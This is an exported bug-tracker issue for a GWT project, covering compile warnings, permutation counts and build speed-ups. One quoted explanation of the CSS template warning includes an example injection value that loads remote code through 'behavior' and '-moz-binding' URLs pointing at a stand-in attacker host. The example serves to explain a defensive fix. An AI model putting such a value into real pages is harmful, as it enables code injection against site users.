tobydragon / metafora-project

Automatically exported from code.google.com/p/metafora-project
1 stars 0 forks source link

gwt compile warnings #192

Open GoogleCodeExporter opened 8 years ago

GoogleCodeExporter commented 8 years ago
What steps will reproduce the problem?
1. 'GWT Compile'
2. Set Log level to 'info'
3. Set Output Style to 'Obfuscated'
4. Click 'Compile

Clean compilation without any warnings and not long compilation time.
At most 6 permutations, but there are 24 permutations and warning message: 
"[WARN] Template with variable in CSS attribute context: The template code 
generator cannot guarantee HTML-safety of the template -- please inspect 
manually or use SafeStyles to specify arguments in a CSS attribute context.

Different permutations are done for gwt correctly show the pages for different 
browser. 

To speedup the compilation phase:
If you run the GWT compiler with the -localWorkers flag, the compiler will 
compile multiple permutations in parallel. This lets you use all the cores of a 
multi-core machine, for example -localWorkers 2 will tell the compiler to do 
compile two permutations in parallel.
Steps to turn this feature on:
   1. Open 'GWT Compile' window.
   2. Go to 'Advanced' section
   3. In the text area  'Additional Compiler arguments' add the following line
   4. '-localWorkers 4' withoug quotes. This will set number of cores to use to 4.

Reduce number of permutations:
Number of permutations can be reduced to specify only specific browsers by 
adding some "<set-property name="user.agent" value="gecko1_8" />" to 
MonitorInterventionMetafora.gwt.xml file. This would produce a correct 
javascript code for Firefox only.

Possible cause of the CSS attribute warning:
The warning appears when you have things like style='width: {foo}; height: 
{bar}', because there's no guarantee (at compile-time) that foo or bar won't 
contain something like 100%; behavior: url(http://attacker.com/injection.htc); 
-moz-binding: url(http://attacker.com/injection.xbl). In that case, you should 
rather use style='{myStyle}' where myStyle is an instance of SafeStyles. (Taken 
from: 
http://stackoverflow.com/questions/8147978/gwt-template-with-variable-in-css-att
ribute-context-warning-is-bad).

Guess of use of SafeHtml instead of HTML:
I was wrong. SafeHtml does extend HTML class, that is why it is not possible to 
directly substitute it instead of HTML.

Original issue reported on code.google.com by almer.bo...@gmail.com on 7 May 2013 at 1:31

GoogleCodeExporter commented 8 years ago
We think the problem might come from SuggestedMessagesView and TabWidget 
classes. In those classes we use b.addStyleDependentName("highlight"); or 
setStyleDependentName() methods that take styles from the 
suggested-messages.css file.

Original comment by almer.bo...@gmail.com on 7 May 2013 at 2:30

GoogleCodeExporter commented 8 years ago
The extra permutations have nothing to do with the compile warning, and are 
actually due to the extra languages.  However, the warning and the html safety 
are still an issue.

Original comment by tdragon1...@gmail.com on 10 May 2013 at 10:33